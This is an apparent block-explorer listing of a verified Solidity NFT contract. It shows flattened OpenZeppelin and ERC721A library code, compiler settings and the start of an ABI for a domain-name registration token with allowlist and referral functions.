@openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: erc721a/contracts/IERC721A.sol // ERC721A Contracts v3.3.0 pragma solidity ^0.8.4; /** * @dev Interface of an ERC721A compliant contract. */ interface IERC721A is IERC721, IERC721Metadata { /** * The caller must own the token or be an approved operator. */ error ApprovalCallerNotOwnerNorApproved(); /** * The token does not exist. */ error ApprovalQueryForNonexistentToken(); /** * The caller cannot approve to their own address. */ error ApproveToCaller(); /** * The caller cannot approve to the current owner. */ error ApprovalToCurrentOwner(); /** * Cannot query the balance for the zero address. */ error BalanceQueryForZeroAddress(); /** * Cannot mint to the zero address. */ error MintToZeroAddress(); /** * The quantity of tokens minted must be more than zero. */ error MintZeroQuantity(); /** * The token does not exist. */ error OwnerQueryForNonexistentToken(); /** * The caller must own the token or be an approved operator. */ error TransferCallerNotOwnerNorApproved(); /** * The token must be owned by `from`. */ error TransferFromIncorrectOwner(); /** * Cannot safely transfer to a contract that does not implement the ERC721Receiver interface. */ error TransferToNonERC721ReceiverImplementer(); /** * Cannot transfer to the zero address. */ error TransferToZeroAddress(); /** * The token does not exist. */ error URIQueryForNonexistentToken(); // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } /** * @dev Returns the total amount of tokens stored by the contract. * * Burned tokens are calculated here, use `_totalMinted()` if you want to count just minted tokens. */ function totalSupply() external view returns (uint256); } // File: erc721a/contracts/ERC721A.sol // ERC721A Contracts v3.3.0 pragma solidity ^0.8.4; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721A { using Address for address; using Strings for uint256; // The tokenId of the next token to be minted. uint256 internal _currentIndex; mapping(uint => string) public tokenIDandAddress; mapping(string => uint) public tokenAddressandID; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 1; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view override returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr) if (curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenIDandAddress[tokenId])) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner) if(!isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract()) if(!_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } /** * @dev Equivalent to `_safeMint(to, quantity, '')`. */ function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement * {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex < end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex < end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint(address to, uint256 quantity) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex < end); _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Equivalent to `_burn(tokenId, false)`. */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol) pragma solidity ^0.8.0; interface IERC2981 is IERC165 { /** * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of * exchange. The royalty amount is denominated and should be paid in that same unit of exchange. */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"IS_ALLOWLIST_ACTIVE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IS_SALE_ACTIVE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_name","type":"string"}],"name":"_checkName","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"ddns_name","type":"string"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"allowList","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"ddns_name","type":"string"},{"internalType":"string","name":"subdomain_name","type":"string"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"allowListSubdomain","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowlistAddresses","outputs":[{"internalType":"uint64","name":"","type":"uint64"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ref_address","type":"address"},{"internalType":"string[]","name":"ddns_name","type":"string[]"}],"name":"bulkregister","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"ddns_name","type":"string"},{"internalType":"string[]","name":"subdomain_name","type":"string[]"}],"name":"bulkregisterSubdomain","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"_proof","type":"bytes32[]"}],"name":"checkAllowlist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"string","name":"","type":"string"}],"name":"dataAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"domainsuffix","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"ddns_name","type":"string"},{"internalType":"string","name":"Area","type":"string"}],"name":"getDataAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"lastAddresses","outputs":[{"internalType":"string[]","name":"","type":"string[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merkleRoot","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"primaryAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref_discount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref_owner","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ref_address","type":"address"},{"internalType":"string","name":"ddns_name","type":"string"}],"name":"register","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"ddns_name","type":"string"},{"internalType":"string","name":"subdomain_name","type":"string"}],"name":"registerSubdomain","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"resolveAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"uint256","name":"_salePrice","type":"uint256"}],"name":"royaltyInfo","outputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"royaltyAmount","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"ddns_name","type":"string"},{"internalType":"address","name":"newresolve","type":"address"}],"name":"setAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"WhitesaleIsActive","type":"bool"}],"name":"setAllowListSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"customBaseURI_","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"ddns_name","type":"string"},{"internalType":"string","name":"setArea","type":"string"},{"internalType":"string","name":"newDatas","type":"string"}],"name":"setDataAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"disallchr","type":"bytes"}],"name":"setDisallowChars","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"customDomain_","type":"string"}],"name":"setDomain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"DomainSuffixIsActive","type":"bool"}],"name":"setDomainSuffixActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256",